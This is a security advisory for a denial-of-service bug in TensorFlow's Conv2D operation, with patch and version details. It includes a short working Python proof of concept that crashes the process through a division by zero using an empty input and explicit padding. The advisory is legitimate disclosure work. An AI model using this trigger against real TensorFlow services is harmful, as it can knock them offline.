PYSEC-2026-1029

### Impact If `Conv2D` is given empty `input` and the `filter` and `padding` sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack. ```python import tensorflow as tf import numpy as np with tf.device("CPU"): # also can be triggerred on GPU input = np.ones([1, 0, 2, 1]) filter = np.ones([1, 1, 1, 1]) strides = ([1, 1, 1, 1]) padding = "EXPLICIT" explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0] data_format = "NHWC" res = tf.raw_ops.Conv2D( input=input, filter=filter, strides=strides, padding=padding, explicit_paddings=explicit_paddings, data_format=data_format, ) ```

### Patches We have patched the issue in GitHub commit [611d80db29dd7b0cfb755772c69d60ae5bca05f9](https://github.com/tensorflow/tensorflow/commit/611d80db29dd7b0cfb755772c69d60ae5bca05f9).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution This vulnerability has been reported by Jingyi Shi.